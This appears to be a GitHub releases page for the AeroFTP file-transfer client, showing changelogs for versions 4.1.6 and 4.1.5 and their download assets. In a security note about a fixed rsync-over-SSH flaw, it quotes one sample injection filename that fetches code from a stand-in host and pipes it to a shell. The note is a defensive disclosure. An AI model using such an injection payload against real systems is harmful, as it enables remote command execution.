- A cancelled multipart upload keeps its durable session for resume instead of aborting it, and the multipart lifecycle state is unified across the shaped builders so cancel, fail-fast and typed node timeouts are graph-scoped rather than per-node improvisation. Rejected Box upload sessions are cleaned up.
- Max multi-file concurrency actually reaches Max: the disk device slot ceiling was below the tier it advertised, so the Max 5x tier could not reach full concurrency.
- GUI progress is emitted at a unified rate of at most 10 Hz, ending the redraw storm that a fast local transfer could trigger.
- AeroRsync correctness sweep: the whole-file checksum is now verified before committing a native delta download and against md5 peers too; the file-checksum length is derived from the negotiated algorithm rather than assumed; truncated strong checksums are compared correctly in
find_match; block-strong md5 is restored for delta matches; xxh64 and xxh3 delta support is completed; and a clean-EOF detection that matched on a substring is replaced by a structured class. - Headerless and legacy crypt overlay profiles auto-unlock again: the
hasStoredAeroCryptflags now self-heal at load, and when auto-unlock genuinely fails the UI surfaces a locked-overlay affordance instead of silently falling through. Mixed-mode navigation handles edits outside the Overlays Path, toggle gating and landing on the Remote Path (@EhudKirsh, #390, #388, #347, #369). - Crypt overlay secrets survive a cross-user profile copy or move, alongside OAuth and Jottacloud tokens, with a real identity probe on the cross-user path (@EhudKirsh, #366, #270).
- The OneDrive redirect URI shown to the user must be
localhost, not127.0.0.1- Microsoft rejects the literal IP, so the instructions were unfollowable (@EhudKirsh, #397). - Zoho WorkDrive personal accounts connect: a personal account has no team unit, so both
/teamsand/users/{id}/teamsreturn empty and discovery hard-failed right after a successful OAuth with "No teams found". Discovery now falls back to/users/{zuid}/privatespacewhen no team is found; team and free-org accounts are unaffected. - Jottacloud delete soft-deletes into trash instead of hard removing, matching what every other provider's Delete does.
- A Windows uninstall leaves no registry residue (@pasha-zzz, #454): our own
PREUNINSTALLhook deleted theSoftware\Classes\.<ext>key including the<progid>_backupvalue that Tauri'sAPP_UNASSOCIATEreads immediately afterwards, so the very next write recreated the extension key carrying an empty default. The sweep moved toPOSTUNINSTALL, and it is skipped in update mode so an in-app or WinGet upgrade never resets a hand-picked Explorer default. Measured on Windows 11: a registry search foraeroreturns zero matches across HKCU, HKLM and HKCR after uninstall. - File association handling on Linux resolves the installed desktop id before calling
xdg-mime default, and the Settings panel gets its padding back with a single Default badge and no accidental backdrop-close. - An S3 New Folder is no longer a phantom file: the empty-folder marker is persisted (@EhudKirsh, #266, #347).
MKDreturning 550 on an existing directory is treated as a no-op via a stat fallback, instead of failing a transfer that was already fine.- Drag-and-drop reorder in My Servers lands on the drop target index, and a duplicated profile mode points at its own endpoint rather than the original's.
- Hash Forge accepts a real OS drop on Linux through native drag-and-drop, works under
disable_drag_drop_handler, shows a full hash wrapped instead of a horizontal scrollbar, and no longer dismisses its modal by accident; the Security Tools modal is wide enough for SHA-256 on one line. - Health diagnostics report honest verdicts for timeout, 404 and download-speed checks.
- Remaining GTK and DBus mutations are marshalled onto the main thread on Linux, closing a class of intermittent crashes.
- A bare Windows drive letter is absolute when navigating parent-up in AeroFile, and an EXDEV copy-and-delete fallback handles gvfs MTP moves across filesystems.
- The clipboard paste refreshes the local panel that owns the target, not whichever panel was last focused.
- CLI agent-UX fixes for
delete,putand machine JSON, and the connection banner now prints the REST API transport for native-API profiles instead of implying a generic one (@EhudKirsh, #277). - The catalog tier filter is category-aware, so a provider that is paid only within a category stays reachable; MEGA S4's Paid pill is restored via a providerId catalog fallback and honours the paid method flag; S4/S5 label overrides reach the CLI catalog and the providers table; 4shared shows its own logo rather than a generic cloud tile; and TAB.DIGITAL is flagged EU rather than IN (@EhudKirsh, #274).
- A DAG cancellation test no longer races the scheduler: it cancelled after a fixed 40 ms and then asserted a multipart part was in flight, but time-to-first-part has no lower bound, so a loaded CI runner failed the assertion for scheduling reasons rather than a real regression. It now waits on the observable precondition.
Security
- Remote command execution through a crafted remote filename in rsync-over-SSH is closed (sync audit AUDIT-03, B3-02): the
user@host:pathspec was interpolated into the rsync invocation with no escaping, so a filename containinga;curl evil|sh,$(...), backticks, spaces or newlines reached the remote login shell. Where the synced remote directory was writable by another party, that was remote command execution. Every rsync-over-SSH invocation now passes-s(--secluded-args), so filenames travel to the remote rsync over the protocol and never touch a shell. .aeroignorematching now fails closed: a pattern the globset rejected was silently dropped, so a rule the user believed was protecting a path did nothing. A rejected pattern is now retried as an escaped literal; a leading/anchors to the sync root (it was compiled verbatim and never matched); globs useliteral_separatorso a lone*no longer crosses/; and case-insensitivity is honoured on Windows and macOS per the module contract.- AeroRsync refuses unsafe peer-supplied symlink targets (audit S1): a downloaded symlink materialised the peer-controlled target verbatim, so a hostile server could make a download create a link to an absolute path or a parent traversal. Creating the link does not follow it, but a later write-through would escape the download directory. The receiver now applies rsync's safe-links policy by default, resolved lexically without touching the filesystem, and refuses fail-closed with nothing left on disk.
- The delete-propagation guards above are a security property, not only a correctness one: a hostile or merely broken remote that truncates a listing could previously steer a sync into deleting local data. Every gate downstream of a scan now knows whether that scan was complete.
- AeroCrypt hardening: the default-salt entropy gate is enforced backend-side rather than only in the UI (and the UI now explains it), the TSV v3 MAC length is bounds-checked before the copy, and a recovery code is rejected for non-ASCII input before any slicing.
- Foreign-config import parsing and secret-export writes are hardened in the bridge, and cross-user dedup soft-warnings are scoped so an empty-key S3 profile cannot widen them (@EhudKirsh, #270, #366).
- Three moderate
russhadvisories remain open, blocked upstream. GHSA-g9hv-x236-4qp3 and GHSA-5xvq-cp9x-6p6r are reachable client-side; GHSA-cqjc-rmpq-xprq is server-side only and AeroFTP runs no SSH server. All three are availability-only panics - no memory-safety escape, no key disclosure, no authentication bypass - requiring the user to connect to an attacker-controlled SSH endpoint, and all three predate this release. The fix isrussh0.62.4, which requiresed25519-dalek ^3against the=3.0.0-rc.0exact pin held byn0-mainlinein the iroh P2P graph; both upstreams are already at their newest release, so no local version selection resolves it. Full reachability analysis and the remediation plan: [docs/security-evidence/RUSSH-DEPENDABOT-ADVISORIES-2026-07.md](docs/security-evidence/RUSSH-DEPENDABOT-ADVISORIES-2026-07.md). Note thatcargo auditreports clean here - these advisories have no RustSec counterpart - so the Dependabot graph is a distinct pre-release check, not one the Rust gate already covers.
Contributors
Thanks to the people who shaped this release:
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />
<img src="https://github.com/pasha-zzz.png?size=48" width="48" height="48" alt="@pasha-zzz" />
Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.1.6-1.x86_64.rpm - 145.4 MB · 19×
- AeroFTP-4.1.6-1.x86_64.rpm.sigstore.json - 10.3 KB · 5×
- AeroFTP-4.1.6-portable-windows-x64.zip - 84.3 MB · 80×
- AeroFTP-4.1.6-portable-windows-x64.zip.sigstore.json - 10.1 KB · 4×
- AeroFTP_4.1.6_aarch64.dmg - 83.3 MB · 46×
- AeroFTP_4.1.6_aarch64.dmg.sigstore.json - 10.1 KB · 14×
- AeroFTP_4.1.6_amd64.AppImage - 87.9 MB · 68×
- AeroFTP_4.1.6_amd64.AppImage.sigstore.json - 10.2 KB · 2×
- AeroFTP_4.1.6_amd64.deb - 71.6 MB · 157×
- AeroFTP_4.1.6_amd64.deb.sigstore.json - 10.2 KB · 105×
- aeroftp_4.1.6_amd64.snap - 276.1 MB · 8×
- aeroftp_4.1.6_amd64.snap.sigstore.json - 10.2 KB · 1×
- AeroFTP_4.1.6_x64-setup.exe - 59.4 MB · 297×
- AeroFTP_4.1.6_x64-setup.exe.sigstore.json - 10 KB · 19×
- AeroFTP_4.1.6_x64.dmg - 87 MB · 13×
- AeroFTP_4.1.6_x64.dmg.sigstore.json - 10.3 KB · 2×
- AeroFTP_4.1.6_x64_en-US.msi - 84.7 MB · 257×
- AeroFTP_4.1.6_x64_en-US.msi.sigstore.json - 10 KB · 29×
v4.1.5 3mo ago · 889 · 18 Assets
[4.1.5] - 2026-07-15
Non-Identical Duplicate Detection, Restartable Transfers and AeroCrypt Portability
Find Duplicates gains near-duplicate detection across images, text and arbitrary payloads, exposed in the GUI, CLI and agent tools and always opt-in. The transfer queue now survives an app restart, bringing interrupted transfers back as re-queueable Restored items. AeroCrypt gains portability and safety work: an advanced default-salt mode, a shared .aerocrypt.tsv marker with verified migration, an offline Emergency Kit validity check, and a missing headed marker rebuilt from the local keystore. Password Forge becomes always-discoverable with reusable presets and honest 2FA-secret handling, classic rsync animates a live progress bar, and the CLI honours machine-mode and banner environment variables consistently. 47 languages translated.
Added
- Non-identical duplicate detection across the engine, GUI, CLI and agent tools: a shared engine routes raster images through pHash, text including SVG through SimHash with a MinHash cross-check, and any other payload through pure-Rust TLSH; the GUI and CLI expose Exact and Non-identical modes,
local_find_duplicatesdelegates to the shared engine with similarity metadata, andaeroftp_dedupe/remote_dedupesupport non-identical staging withsimilarityanddistancewhile preserving the remote exact SHA-256 fast path. Non-identical mode is opt-in and never auto-selects files for deletion (@EhudKirsh, #383). - The transfer queue survives an app restart: interrupted queue items are journaled atomically to
aeroftp_data_root/transfer-queue/queue.jsonas re-executable descriptors, and on the next launch any transfer that was still pending or in flight comes back as a re-queueable "Restored" item with a Retry action. Restored items do not auto-start or auto-reconnect: after you reconnect to the same server, Retry re-runs them through the normal transfer path. Verified live end to end (persist, restart, restore, real re-upload of a 100 MB file). Per-provider byte-range resume stays deferred. - AeroCrypt default-salt portability and TSV marker migration: default-salt mode is an advanced opt-in with a password-strength gate, explicit attestation and salt-mode MAC binding, and the recovery kit gains QR export controls; new headed markers write
.aerocrypt.tsvwhile the legacy.aeroftp-crypt.jsonstays readable, and CLI and GUI migration verifies the new marker before deleting the old one (@EhudKirsh, #276). - Emergency Kit validity check (
crypt kit-verifyand GUI Verify): a saved kit text, QR dump,.aerocrypt.tsvor legacy.aeroftp-crypt.jsoncan be re-parsed offline and checked against the active profile keystore (vault id, salt, version, KDF) without a recovery drill or password, from the CLIcrypt kit-verify, the Tauriaerocrypt_verify_recovery_kitcommand and the Recovery Kit modal Verify action with native Save and Print (@EhudKirsh, #276). - Password Forge and encrypted-provider credential hardening: Security Tools is always discoverable, the generator supports reusable presets including Compatible 32, granular and custom character sets, exclusions, guaranteed selected groups, batch generation and live entropy, and inline generation covers AeroVault, encrypted overlays and protected archives. Saved Filen and MEGA 2FA secrets are demoted behind a collapsed advanced disclosure with an honest warning, Filen bridge credentials enforce the documented 32-character restrictions, and MD5/SHA-1 are marked legacy (@EhudKirsh, #266, #369).
- CLI machine mode via
AEROFTP_MACHINE: a truthyAEROFTP_MACHINEenables machine and agent output mode as an equivalent to--machine, resolved right after argument parsing so agents and CI no longer repeat the flag on every call.
Changed
AEROFTP_NO_BANNERrealigned to thestrict_env_truthyconvention: it now matchesAEROFTP_STRICTandAEROFTP_MACHINE, so only1,true,yesoronsuppress the banner, and=0or=falseno longer do.- The Linux release workflow retries transient Tauri AppImage helper downloads: the bundling step retries the helper fetch that occasionally fails mid-build, reducing spurious red Build runs.
Fixed
- Emergency Kit recovery wording no longer contradicts itself: the printed kit and the recovery-kit panel told the user both to save the kit "together with your password" and to "NEVER store the password alongside this kit". The copy now separates the functional requirement (the kit and the password are both needed to recover a vault, neither one alone can open it) from the security rule (keep them in separate places), retranslated across all 46 non-EN locales (@EhudKirsh, #276).
- A missing headed marker is rebuilt from the local keystore with a one-shot lockout warning: when a headed vault's remote marker is gone, unlock no longer silently degrades to headerless; the marker is restored from the keystore and the user is told not to delete it again. Profile
withHeaderis plumbed end to end, and legacy JSON to TSV conversion is opt-in from the AEROCRYPT badge menu when the JSON is still present (@EhudKirsh, #276). - Classic rsync transfers animate a live progress bar instead of jumping at the end: the classic rsync path (system
rsyncwith--info=progress2) parsed live progress lines but dropped them, so a delta transfer over that path showed no movement until the final summary; the existing progress sink is now threaded throughRsyncBinaryTransportintorun_rsyncand called on each parsed line, matching the native delta path. - A drive attached while AeroFTP is in the background now appears in the PLACES sidebar on window focus: on Windows and macOS the volume watcher falls back to a 30s poll (real-time inotify is Linux-only), so a freshly attached drive could take up to 30s to show; AeroFile now refetches mounted volumes and unmounted partitions on window focus. Linux is unaffected (@EhudKirsh, #351).
Security
- Credential and marker hardening. Default-salt mode binds the salt mode into the MAC so a silent downgrade is detected, the missing-marker rebuild is fail-closed (it restores from the local keystore rather than silently opening headerless), and saved 2FA secrets are demoted behind an honest advanced disclosure. The dependency review was clean:
cargo auditreported no advisories over 1206 crate dependencies andnpm auditreported no production vulnerabilities.
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.1.5-1.x86_64.rpm - 146 MB · 12×
- AeroFTP-4.1.5-1.x86_64.rpm.sigstore.json - 10.1 KB · 5×
- AeroFTP-4.1.5-portable-windows-x64.zip - 81.1 MB · 35×
- AeroFTP-4.1.5-portable-windows-x64.zip.sigstore.json - 10.1 KB · 8×
- AeroFTP_4.1.5_aarch64.dmg - 81.2 MB · 27×
- AeroFTP_4.1.5_aarch64.dmg.sigstore.json - 10 KB · 10×
- AeroFTP_4.1.5_amd64.AppImage - 84.8 MB · 37×
- AeroFTP_4.1.5_amd64.AppImage.sigstore.json - 10.1 KB · 3×
- AeroFTP_4.1.5_amd64.deb - 68.8 MB · 105×
- AeroFTP_4.1.5_amd64.deb.sigstore.json - 10 KB · 64×
- aeroftp_4.1.5_amd64.snap - 272.6 MB · 8×
- aeroftp_4.1.5_amd64.snap.sigstore.json - 10.2 KB · 2×
- AeroFTP_4.1.5_x64-setup.exe - 57.1 MB · 279×
- AeroFTP_4.1.5_x64-setup.exe.sigstore.json - 10.2 KB · 29×
- AeroFTP_4.1.5_x64.dmg - 85.2 MB · 6×
- AeroFTP_4.1.5_x64.dmg.sigstore.json - 10 KB · 4×
- AeroFTP_4.1.5_x64_en-US.msi - 84.4 MB · 235×
- AeroFTP_4.1.5_x64_en-US.msi.sigstore.json - 10.2 KB · 20×